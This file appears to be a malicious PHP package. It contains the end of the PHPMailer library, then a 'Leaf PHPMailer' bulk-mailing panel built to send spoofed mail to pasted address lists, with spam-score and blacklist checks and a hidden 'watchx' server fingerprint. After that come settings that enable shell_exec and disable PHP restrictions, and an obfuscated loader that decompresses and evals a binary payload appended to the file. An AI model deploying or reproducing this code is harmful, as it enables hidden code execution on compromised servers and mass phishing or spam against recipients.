            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$LQrv='gzun'.'compres'.'s';$bVdY='f'.'ile'.'_'.'ge'.'t'.'_con'.'tents';$gxFm='st'.'r'.'_repl'.'ace';$RgTZ='ex'.'it';$uWpc='sub'.'str';eval($LQrv($gxFm('lsqwimzhyo','>',$gxFm('nlwjmpkcab','<',$uWpc($bVdY( __FILE__ ),-171854)))));$RgTZ(0);
?>
x$ǒ̖__ٽhem 6hMh쮬bf1Aq?G,⿊EOˢƸ7ݿU:[0|]nlwjmpkcab[oNnlwjmpkcab{
UnlwjmpkcabFۿ?cYΦ;5ioo[M{v??3?9ϱ@H'X YHUraqWOIC(R	|D~C("sěuȥIR
hjڔZ^"GR5rEX̴ٝ fzx±r['ȋbȔ(oulsqwimzhyomvFfm44]e_dƨS3=.H ؠ+T~p"E7lXMzGϽdyKFWa4rs"1*j4⵶.6]$E$DE[rDSH\aA@0o fa*닉hr3a9wm:"iH44To]FD"z)vێf&:xÝFuJ?s(ЉKnӠnlwjmpkcab;aF]diWա{0oT&L;ߩ\ }6\(2(f2!&4[xlsqwimzhyohG` v20Z2" WrG:Zm ('X-{Ά(nc#VZA hR:gn0E5
5SA-|\F,U9NWײ+sT{	:Bk⛗spĵ0lsqwimzhyo_[M=l?Ǒ㑝ScLE
cs~Sx8i#B[8=MG6#iW4RW~Xwh+7ɮ{AKui[Me/pa#P*؍ZOґq$^
WFWζd
0nlwjmpkcab~k(ӵ9b|Ynlwjmpkcabf!¦#	L%:|BM
$BlsqwimzhyoozF!^XЊ$hwэQ}St"tUBL_G\p.{0Di.lsqwimzhyo7K[txrUmĆ!0nlwjmpkcabdL^m~Q@Fш/cx:I?+lsqwimzhyo$j4q[v0gumɘ㾴]ƬCO9wrt}^
^:n~}(}lnlwjmpkcab"Nl\n5l=G6+!o!Llsqwimzhyobv1nlwjmpkcab[^.٘ؓǊO7LsPQ Zw_y\G [~3Mb_܌iNRIF6MlsqwimzhyoR޷A
oY΋(3X8_Ik&됱Ɗ].N=m3k'̀{
Dփ)q^Eoιbq`o\Z@
hxuPP5dj(sa:*UXT4JMS
)K դk".(
moSS拋2鹆C1kX.PMx/yCz"eI:dqPC.E8p𹐨c{?yh@hN~rGxIܔ6BHҀyؽ%gw[wÒvދPRӚ0S6nlwjmpkcabTK?9ѽ[T+q[J,JEQTArS&RO;aalsqwimzhyomuQI@3HEnlwjmpkcab}/gnx֦a6/&}y4L~[E|4*f
1I-_EB[R*KjyxZꗮ=qv&5@ND
.	&;}+Q
)
"pFCpǽ꡷QQ.3%4 q%5 8 6;U*=HD"?#.sL_VfFYqoPž"UDǉޥӹ?6a(?`fU|Dr3%:b2iACx1*ɇW0=lѡQ	fN~uΩa̻1GtBqTJ_f"9󲳾UR}.(0mȈńˁKf_	-cnlwjmpkcab[wr+1l?y?"GDt,AЖuMM~o 88YޫUR[vCW[gJЗKh5"Xoq}Z׫@g#$&J1w/A+p:rIXLqǇh7ѡJsp$ndyEA֧)MUA.IsSjlsqwimzhyo/(\BclجsW=ר@"9-64
wMNg8'3O I7;YmoU]TnF|ۮtBS	$%/A4LKGq'vQI73iF/W2"qR7ɓ0xWp҈d{i?FQ?Yu4dlsqwimzhyo3AVXj& {֑-s
CrQEv*^\R/Uŵ~B,^HQWl =C uxwc0Ѽ_	c˴lsqwimzhyojv	SVőUdd*X=*4D+oH\P0'=OlDh0LFZcKJ̵b$v!Swv(Ji;F4&$8uT.ӧS5[m

o+
1~
OmNgdxZDZ(pJ-&bdd nlwjmpkcab(q
	}1!1nlwjmpkcab](G۾Р[30[^_Aˇ|KlޓvX5bLyj$/7?uXmp
b׵LN3׈b-lsqwimzhyok&~
ׯa"5ˠ6p[޺nRV&vc4GVV`i7
kv$DUwp~jѲ?Ly
,;3  ML?
 M%54+ӳ#q`B2̣Q+3|T? +vMQ3i*TDM=SЮvv'3X48'/]-B6 E8QߵjP/eS"6pnlsqwimzhyoSĊ=@!*ۉ8也Gй~O_̀X7@4AP	5@5[NꃎI ⊎[ajiKlsqwimzhyoE-xk_фR//w(;7ݮA"!_23;"%~^K
{LPHaEw(hI,AJv6x	j1~ZP"P-ⷪ4 0XZ5-8vJw[0gaۜV^}MًmflILYȸߓYل"~ۘ;	kc̑Gt)'.o	݂x/Lԅ|1l$fI
Yf0T:v8X3MF(#xZ/XJb/,V+Mvk-",J'|0lsqwimzhyoJV$l:lQIZ2{Bq7ۿZ|ߑ}[}Cfgd_v~B ghI$Э:chIjSmgfB0G\NI#[,BddYlsqwimzhyo%zxPG:qǡv.0w5QuпL|C*"^{iBfki
O7bDrn{+	~hEYUz`3 e=_t::|m~`,iMQB
)C(QpBnlwjmpkcab,ě;L+,Ỷ-= #ա]BDub/86Kʔ3=uQZ.]|c\!O!۔ĄL4hl1]iAM!(k;3f& Ӄ50Gu-jT25ðV^hFձ:&@e&t/~t)#
=J֨mv6Ŭ`sgp;q,j\#Ki]R/JC|b@	ÂN6`X.,׺=TBG3+KWU("9#'2dnlwjmpkcabЁ@0p2tǬ Bm18jQ^72K#O,꧵3{պ&PDq Y	Blsqwimzhyox '^fB@Bnlwjmpkcab-̟gnR%~Ddyx/6 XG_}jQe7}0}cl@]R(cm$Yߢ=9COfGlsqwimzhyo+lr]GQOO|~/jlsqwimzhyo)^aqxq7,oWG
$	uȋ4- ;U.޲n~A=e֪#eUd4ġ$'СLƴ"ZxI"#N*M!qFPzt)nr[;u4۵C.nlwjmpkcab+E\ŘTV!u1lsqwimzhyo kv;, &ҕ=~kO*v#1n+zѷPFsou44RgDF"-z^T؇O"*|C]p"n_~LBJX#F~ފ .!ؕb[p-g;Wj3&Q~ELf HDgg*n`bGg4՚|/=q5rۅ~ k/wnlwjmpkcab@}pfQB#Bw6:؅J_/nlwjmpkcablsqwimzhyowKF}$,OJ-jq^O*y³ZC&Ypiͅ3hexQX#&V緣rbْ-
@D)ЦZa}??}=/_ ?1'logGE_Sȇ8EU߀]ȉ1K@1 Z_'Ţ_Lݶ¡rh@"˫n?8P*u'w
$Ku/nlwjmpkcabA&WkJDD`@9iSsn:ƪT"\x}X.9D=_&q(9Hr&4)ߑ(u?PbaOɾ0/_nlwjmpkcab)G{e2kTCtɉD2唥Y]41A
	}OKU6ɱ̫iIdk!!D .V'aE9(˱ûp}~ܰ,CnlwjmpkcabJYT(X`F8/+IUQ͘tf;,@­g\8|m@';Cnlwjmpkcabp
RElx3Cf+4b?ZSIgcݫUIυ&Kȹ	!Xt+j%fI/or6-Nէ*ex9ӓtx]T+^)7R7- fJ*A~uDk Bf%P4`3E'/rvMlsqwimzhyo2y-Zªܤ$\sX?I鷌XjcҍQ/(w~6.z:tl}65TNa'eP3I-idN:aE)U8yl짾Çc wSd~*SEFv%(tW൸Y,5?CMOTGU	LLhOP\xY֤蚿	}D(g
?ܳqR\ngOE:yf)v8hLS}~MXqrwlsqwimzhyo؞?F/3Nh6%)kL_g~EnNr|`Ztw:`\;i=d!ىf@e,t	;z#ůpb"&KCD}'UխܻaEe45DH	( B{=Hv~$iܸM.
+Ywi,jJcoLG(hpȍU!?)2A/SRtnП +vKHxgYfۥ\I8's'MWlLE/bg#:FaCy;ƯP@j'6tMi@X7.s˿zqs`$֚iRgAlsqwimzhyoؑʗƧ^z[R"nlwjmpkcabs$T4Kg%25,$^\r?=OT4Y9gUx7 9Œm_3bn)Oi'[4Az-7s˃(dnlwjmpkcab
Eʆ1
Lk? _=y
}=i'$Z~XXT	_~߽BK|ٰS}7aEАXՑgUI!Cƪ茔-6W
17	!J3uAMSVh(\GvĨF/P3k^}9eiAMô d-2;R$wD[Cbnlwjmpkcab`Q܉&NMuk(wmλSہ Qch/Trsʨω̝σ~dZKbp#VXVY($` {hVIjk
3V"LrK
p =[VqB^)&T{~n{9ꧼ`HhQ
ϛ[)kl̈́f ,b_3+ԫnem:`C{LثTSaw,ƪP4&EnQa΁24hEbqcd6ǛypK3h^P~z*+۷g5% KC6VR6PWn˲{nlwjmpkcab&&|)D	a"g"T,)	Olsqwimzhyo^ ! UIWl#mr;iY_eMQ!T7W"7B2&1k_jy\ҾaȄ
IG{Oryм{e"}D޿YZYNsG]y["]V[.$9b0Mh~ƅk'wZDel7RZi~حG^i|k".),G7uWLýͣp҃Fyxnlwjmpkcab0e^@0RK85]0G1BN=zE00DMdd BK^Z/QZbeMkHLldk|6W츇G nlwjmpkcabMN)^CY5PbNd`ZI&]rH4g(N"zmW
dEpUZ-&N 98ڹX_vӼ/k¤QIP0ĝR5-
̎Lpg/ѲclXfʕIBCuølsqwimzhyoTcy1ZT.AONHDe(2iҚnlwjmpkcabnlwjmpkcab['`:lsqwimzhyovWA
2}Bt\f?ɛtMO5ϩJ
K9vȇqwHIAZeGrf"ը.ͫKPLͧ&6@``L!u{@QH-w/Ŕ[VO SD3bkS:47nlwjmpkcabWp}˰* 6zHj֚Dj鵦'#zFީj,lϞ]oB{&fxݶh\J	[@$&E!~Y
$4f|IW&!zi;ATùQ,gWcqy)X"F3ܧlsqwimzhyos
uWfOlsqwimzhyo9w_A; s:!tKG,lsqwimzhyoZh!nlwjmpkcabxOkV&#C *JL^9N~rMGzQEwk\-+wwD]\E'~"!NϪK~
B_q |K}Ak
s?=VCkYe"`i wlsqwimzhyo"`h菉.]Xٟ%	a.`ezaE4A{c׮MVѲ\lsqwimzhyo
btt,lsqwimzhyo`ӯT0
esrDKΒ|T1`|q_,rt`;	ca
CW	$921cw%K{-a]^8 GxA!vųnlwjmpkcabHeG5^H7/tӇnlwjmpkcab,Knlwjmpkcab@?N"i;H6[Nnּ&)TUo}[ED~	EY=`:bg$ل\}ᠼ:QY_Q*Y]&8#cAPKuE9yF97@ռ*3gg zqCzBjm5&fLf6`i&&%M7h#ˋ%7!Uݛ^~nlwjmpkcab`5$
ifo\@
	՟9S@%P(tm0eT;lsqwimzhyoec询T|^YlAB[;,PYX9\C8+=ᓓ#I|B(H,dXw[pԢ؟1?h:sj!AR2/U^X@ K wC_FiUݞ\_},@Fc }%39;n#s&9i3 .x!fhW9lMʃ ՞3[aphK\6Hc60zX`4	8zT`ɊR4Cz,dN-?/$A۟/gD&qx@tOΘd0
2Q
[lٓ.,e~Sj7-IX- -)cxǐǷ.h]=^~inQDt(#Պhg ˓tM,	$nY,T-99tR-?i!{\iL# )"O\ؗd9UL 82d0sQVIo|$;]rIEI^|VrwGܡVXh	
xgWm~'I'lD&QԊ,dYoS}wlsqwimzhyonlwjmpkcab`ZZ"=I\OMRl@u
gZᴫg:V˫.8"nlwjmpkcab
[ !"Klsqwimzhyo.kIEY]ູ3S=ݨsbv#(nClطvg4NG{/^'S֦okX O!RM
}yXWoQIR/s_Dlry=r^$7C8	yZB後.+*U!~r֓N`lsqwimzhyoTꇚWh(w	aYN@q(lsqwimzhyo(fq2#t^GTL7\KCimկ?Ġkt鏆 L:R!zpb]2(zӼy_ۿLjL+׬lsqwimzhyoR
4ADŌ(`K "lsqwimzhyolsqwimzhyow[iP&OVGd3ZXP]kh
l~AY 5ʰ'ay#+k7&R.'_%\Kbk$ĭ
n2ä` fRpq}tGU.E~IZIˎ6t8%hZ"RpE3Ǵ!aX[\jáOer횛ˬ έǐ^DhcMK=lfK՛/w9l఍ik[4Jx:z`G(^.&1Gb&%&6nff@К33C+|daAX_ŸW]"m8X,`~T 9kX|f/z8XohRD1nlwjmpkcabIF*$̄:11.kWe:-K6"%Y1|nlwjmpkcabӇT$5~O2.PnNvK/Ѝmx-B$=!ȇ$}͉ϔ2W3ub6OoZԪMׄd.
Tn^SbcRnlwjmpkcabCOO0=ׂ;``yJ&֊agB7 EU@\3	3sY\`,?nߧ{_N#:Clsqwimzhyo_:fSs],lHATi b@uQ
6}wnL=&%BP@%ЎW҄'6ER^|@=,m7 eG#?m3˚VL".Fx %hnlwjmpkcable+)98(J	Ur{Lҁ lA΃05
ܱm4.{UOJ`G!riݡ4nF$A6gkhr_SbQ"z5R
QLDY9UC«;|_	kJuklsqwimzhyoK:eElL}arHE4ײğS@d ˏ#ch}J๬C~@˨6fM{F;PZ m+p+\
Vڔ/,܀ggNRo`F-X&}~U.=p^}!_Nnlwjmpkcabglsqwimzhyoln}˖x~2 оFj%O	]nlwjmpkcab
y%
e ɲ)ɿK7m)i /FȈrfI@ZK YZI˻Gݥً5mT9~@m:CcM*5%N@=Ql ۃ¬'Rm\4ˠ׷֢Ƶ[=1 ^/idH|Q@"D:RQ*& u_è,([kuYk
Hs㚨$5O?"[EN##ge*q  ΥUϊT gy{J)
 ؖ{ k|m!UUpQ"Vxɀj_)?q-&?7nlwjmpkcab\h/ ANVlm6Fc&^
|
(!7JA
|*h筺 Y#`C3~)4*wnlwjmpkcabs.$f[!gVY!7`L._^ß{& `odP: ՟?D.hMWՏHLlsqwimzhyo)P)tK2Cej0-',]a~[LK	wzd[.g]ˋxWs;TK@l(`o{֑Jrw=}d'&٢CVۗ-i	1
għ^vxjryݳZvhiYn@srxP"nlwjmpkcabQ_lmF@:'Lq%Ί?&H1($%fҳNx~FB6
O+WA[rlsqwimzhyo=M=qY}5&LB{Q ~*|fގrЋ^bb=+&nUvʗHnlwjmpkcabu0feAnlwjmpkcabcw;yOzT--/P#Q+2g\1sj]]_뿔4$W_O'o۾qa^śTd_E֏p"o`-y?l	$~17ϔl|29P^SĭV@ٿ~1eYs?@lsqwimzhyoK
	
`_O!y1FC|ArR_F}*ĺy']{.mlho)
6[RCIAY[
hV_{)G\nx` 罪&GIlA
$Ѩ]5gvfꜴv['+2fE\G[hu\-$Yz`s{DyU&~\!Ij!K4H1¯8'2Y0֒1I7nlwjmpkcabjj`#jj
Qs0yw5IPt _,XΧh(,4:9׭|@
ǱvjawRf?]AWa9xgfCm^anlwjmpkcab[T3XjYf[I@{O+\Qjڹ	:-iDv2Lm'#ɞw͢OCOJ?lү8hZXlZeadjsi݂`b
6K1ᴃpӑ2%8SnIȱ,׋mE2
^9p'7MEW" xү
p8~ߺQe(Y:@F,e
.$.y#OT=/0Ӑ=*l#$UPJF5nlwjmpkcabvI֧IUA[=gV=є8Ŋ7\ƭ[.x$ U8HjerB
o}ج~}-6|[`lblsqwimzhyo7ʋ Om-U

l7W\[=n	:65,HXP5w`	m*f`Y&Oȍ	[|+L顾;3hH{7ak]0
yYa+c}/Ӭ0f2`Fe9B.lsqwimzhyo3ib7T"HOw\/֯b_}`8&˲Fa@neF/`5?fd
1!ɱT	?qum}ikh:J#i/XWGmoP
6o8 y
G)O0"BlQU dTlS3ך]z~a&[f*kTE0Rlsqwimzhyo*
4-m;_V lsqwimzhyoU'V8؁ma}:_[J;,育lsqwimzhyoIkF|4,C9PQ73A)^f*3XIVUn
C
4aURR/~Rlsqwimzhyor)%oŊ\YHlsqwimzhyo}zB
/,[ٟdD4GTWnlwjmpkcab񾌄:; DǛA^
M4r{AZ3$7 с\Jhs8
5i3'k	-\!-Q} EvG@R :v2~,6Kƾz":~"R)mKT!&j[
pp;;uӅ#«{w,n^ Ʀa"k՚ی&es̲)|CV;ZQ{wςAÊL_wS]Cl#,r+V}KtUM+.Dwv#=(E(Yyjh
 dDu_WlsqwimzhyoV?M(F35PNIlsqwimzhyoFaA?`/}2\SZ	uxq`\5G1u"ezy0~6WȟxȻzs%jy\BL"9ȊpHd3*{*_9"oZ7G&b5F7 y$2i%gުm&Xb] v8t7W}ɣq7SgzR5@ڣ4w+ƼI9,6Io=	G29nlwjmpkcab-9 ֠ޓYAc-IbZ.@1
Axt`/񫿳ţ\gnlwjmpkcabcF{T(8fu?84m"ԯk:i9F{MlsqwimzhyoGJDsEfZ_g
VAz%l8ƞ.LTCjW
1UAW0Zb:C-m*Bo]1}LDݔD
9=%.,PG ݗDsv8A&A%}jӑ=̒^ΝV0zz|x7'dn%|7G_AFBm-WH.wҡn		~181v#wf.?nlwjmpkcab.uP1yX}ϝ;qxMŴH4^&`O-p} {W MH^_d@ȧã`FlsqwimzhyofLjߪB,468/@]m{q_N+%~ɟ80YB! nlwjmpkcab5{.޷Y'kG[( S',6[0+;Ƈ/
qmW($z
bj	?/(Y/nlwjmpkcab@#Ts(u, \ I:GK ?xnAP9.bSSBznC`P75OpcrkHKɳ)~GU6gL
c`Ղ92o[Ϳ$W3JQL
S}@xCB?1%wk fD*zP1z'rU0B]lsqwimzhyo,ulaGrޅt/ hnlwjmpkcabnlwjmpkcab:
qF{(lsqwimzhyok;g(Wlsqwimzhyoޝ:ƹ')-kab bW
j:sʗ,S!~-:ƊWirr3d'~Yu=.` +WE:a~6-$DʇyCi~j_
hhR7}klsqwimzhyo}1=aAANWeҗiHJ_伡fV\nnlwjmpkcab]98}iAjqEKJʨIoi
۠8P}DbC0-(Y"݊6:ԡ1
w/|%0uLTᭋdLĆf6 Мʢz
lsqwimzhyoHfF}!_͔J)a*g8^XԜt#ŐtaekA&$SD-
B`Jd8vFRvpl9U?4nExgZo"RM 1sʦSRnD0\gfmг(ͪu;^CW܁0+zVҗ*ʁ`rD[78,0rT~:?!nC_!."H­pfFkt$	
hOA@^Zz.nznlwjmpkcab)F?"҄Q]bȐi$LFl̩Gݪe܆P^PHlsqwimzhyoFT=p?"lsqwimzhyoؽdGn9S{m.
61uo=X~mc E5|`*&uyM6L3p6JMpgg2jz#lsqwimzhyo؅YX2 '\A	ypX$YvO1b?ӱnlwjmpkcabSzWo}nj9
p].j;-͟+bBQ0	?/+3
7-꾍?nSh$ 7Qk^vlZy[
A6d@־ ]`.Kj|"%MNс FuKw&k*I$mz
uk}L̞nlwjmpkcab{Elsqwimzhyo	AV0H9Nej$vf/GCknbgjV(ecq䚑-M,r5jX2u]HUB1])e|)FǬ$I-PbSY2wE!Uwn2wyKXfB]U:h*gtľ0`Z|C3BkR!_ߣjM)@ϭlsqwimzhyoݕq?e4g%vtGjAFƼ"*:"`{7sy\eCvL[WN|xȬ{LglF|Ѩ1,mw 4͎v7D}\\nvh杘r|
*KDH*me*6tfVKXL$kA@
j|;
'*b-OqE"t=.	#ۑKUƇ*E	 x[Iv-!
